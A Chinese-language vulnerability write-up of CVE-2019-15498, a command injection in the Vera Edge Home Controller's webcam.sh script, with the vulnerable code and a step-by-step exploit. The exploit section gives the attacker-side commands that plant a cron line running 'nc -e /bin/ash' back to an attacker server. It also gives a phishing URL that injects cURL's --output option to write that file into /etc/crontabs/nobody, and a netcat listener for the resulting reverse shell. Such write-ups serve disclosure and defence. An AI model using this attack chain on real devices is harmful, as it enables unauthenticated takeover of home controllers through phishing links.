CVE-2019-15498 Vera Edge Home Controller 命令注入漏洞分析

语言: CN / TW / HK

漏洞简介

Vera Edge Home Controller是一款智能家居中央控制单元。Vera Edge Home Controller1.7.4452版本中的cgi-bin/cmh/webcam.sh文件存在命令注入漏洞。该漏洞源于接收外部输入数据,未正确过滤其中的特殊字符,导致构造可执行命令payload。攻击者可利用该漏洞执行任意命令。

漏洞详情

Vera Edge Home Controller允许连接和控制来自不同供应商的各种不同智能家居设备。该网关可以使用Z-Wave或Wi-Fi访问,也可以通过APP和Web远程访问。同时还运行了一个本地Web服务器,可以在LAN上进行访问。Vera Edge Home Controller的硬件包括600MHz MIPSSoC,128MB NAND闪存和128MB DDR2内存。

Vera Edge Home Controller在/www/cgi-bin/cmh目录中存在许多Haserl脚本,其中/cgi-bin/cmh/webcam.sh文件中存在命令注入漏洞。此外,访问该文件的请求没有任何CSRF保护、身份验证或授权要求,因此可以通过使用电子邮件或者网站钓鱼来进行攻击。

webcam.sh 文件代码

#!/usr/bin/haserl

Content-Type: image/jpeg

#Copyright (C) 2009 MiOS, Ltd., aHong Kong Corporation

#www.micasaverde.com

#1 - 702 - 4879770 / 866 - 966 - casa

#This program is free software;you can redistribute it and/or modify it under the terms of the GNU GeneralPublic License.

#This program is distributed inthe hope that it will be useful, but WITHOUT ANY WARRANTY;

#without even the impliedwarranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

if [[ -n "$FORM_ip" ]];then

if [[ -n "$FORM_username" ]];then

if [[ -n "$FORM_password" ]];then

curl -k -s -u$FORM_username:$FORM_password --connect-timeout 3 --max-time 5"http://$FORM_ip/SnapshotJPEG?Resolution=160x120&Quality=Standard"

else

curl -k -s -u $FORM_username--connect-timeout 3 --max-time 5 "http://$FORM_ip/SnapshotJPEG?Resolution=160x120& Quality=Standard"

fi

else   

curl -k -s"http://$FORM_ip/SnapshotJPEG?Resolution=160x120&Quality=Standard"

fi

fi  

从上面的脚本中,我们可以看到该脚本接收以下参数:ip,username和password。根据存在的参数值,使用适当的命令行参数构造cURL命令。Haserl存在过滤机制以阻止命令执行漏洞,该过滤机制袋子变量及时未包含在引号中,Haserl也会忽略或删除以下字符: “;? & |”。通过研究发现,仍然可以通过其他命令行参数注入命令并传递给cURL。Haserl的过滤机制只是限制攻击者闭合cURL命令以及拼接字符串以执行任意shell命令。 漏洞利用

由于攻击者控制cURL请求URL的IP地址,因此可以按以下方式设置远程服务器以托管恶意文件。该漏洞需要使用cron任务来执行netcat回调命令以获取远程shell。在远程Linux服务器上执行以下命令生成攻击payload并启动WEB服务器。

mkdir www
cd www
touch index.html
echo * * * * * nc -e /bin/ash {remote server ip} 8000 > index.html
python3 -m http.server 80

远程服务器开始监听80端口:

接下来,攻击者把恶意URL发送给受害者:

http://192.168.86.40/cgi-bin/cmh/webcam.sh?ip=127.0.0.1&username=test%20{remoteserver ip}/index.html%20–output%20/etc/crontabs/nobody

受害者点击该URL后导致cURL命令执行GET请求访问远程服务器的index.html文件并将其内容输出到/etc/crontabs/nobody。注意,输出到cron文件的文件名需要有效用户,因此选择了nobody用户。cron作业将执行每分钟执行nc -e /bin/ash {remote server ip} 8000,攻击者在远程服务器上监听8000端口即可获取远程shell。

攻击者使用nc -l -p 8000 -vvv监听8000端口,获取shell:

分享到: